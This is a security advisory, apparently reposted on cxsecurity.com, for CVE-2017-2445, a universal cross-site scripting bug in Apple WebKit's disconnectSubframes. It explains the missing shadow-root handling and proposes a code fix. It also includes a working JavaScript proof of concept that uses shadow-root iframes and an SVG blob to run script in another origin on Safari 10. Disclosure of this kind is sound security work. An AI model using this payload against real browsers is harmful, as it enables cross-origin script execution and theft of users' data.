Apple WebKit disconnectSubframes UXSS

Published
Credit
Risk
2017.04.10
lokihardt
Low
CWE
CVE
Local
Remote
CWE-79
CVE-2017-2445
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
4.3/10
2.9/10
8.6/10
Exploit range
Attack complexity
Authentication
Remote
Medium
No required
Confidentiality impact
Integrity impact
Availability impact
None
Partial
None

Apple WebKit: UXSS via disconnectSubframes

CVE-2017-2445


When an element is removed from a document, the function |disconnectSubframes| is called to detach its subframes(iframe tag, object tag, etc.).

Here is a snippet of |disconnectSubframes|.

void disconnectSubframes(ContainerNode& root, SubframeDisconnectPolicy policy)
{
...
Vector<Ref<HTMLFrameOwnerElement>> frameOwners;

if (policy == RootAndDescendants) {
if (is<HTMLFrameOwnerElement>(root))
frameOwners.append(downcast<HTMLFrameOwnerElement>(root));
}

collectFrameOwners(frameOwners, root);

// Must disable frame loading in the subtree so an unload handler cannot
// insert more frames and create loaded frames in detached subtrees.
SubframeLoadingDisabler disabler(root);

bool isFirst = true;
for (auto& owner : frameOwners) {
// Don't need to traverse up the tree for the first owner since no
// script could have moved it.
if (isFirst || root.containsIncludingShadowDOM(&owner.get()))
owner.get().disconnectContentFrame();
isFirst = false;
}
}

The bug is that it doesn't consider |root|'s shadowroot. So any subframes in the shadowroot will be never detached.

It should be like:

...
collectFrameOwners(frameOwners, root);

if (is<Element>(root)) {
Element& element = downcast<Element>(root);
if (ShadowRoot* shadowRoot = element.shadowRoot())
collectFrameOwners(frameOwners, *shadowRoot);
}
...


PoC:
var d = document.body.appendChild(document.createElement("div"));
var s = d.attachShadow({mode: "open"});

var f = s.appendChild(document.createElement("iframe"));

f.onload = () => {
f.onload = null;

f.src = "javascript:alert(location)";

var xml = `
<svg xmlns="<a href="http://www.w3.org/2000/svg" title="" class="" rel="nofollow">http://www.w3.org/2000/svg</a>">
<script>
document.documentElement.appendChild(parent.d);

</sc` + `ript>
<element a="1" a="2" />
</svg>`;

var v = document.body.appendChild(document.createElement("iframe"));
v.src = URL.createObjectURL(new Blob([xml], {type: "text/xml"}));
};

f.src = "<a href="https://abc.xyz/";" title="" class="" rel="nofollow">https://abc.xyz/";</a>

Tested on Safari 10.0.2(12602.3.12.0.1)


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.




Found by: lokihardt


See this note in RAW Version

 
Bugtraq RSS
Bugtraq
 
CVE RSS
CVEMAP
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn


Copyright 2017, cxsecurity.com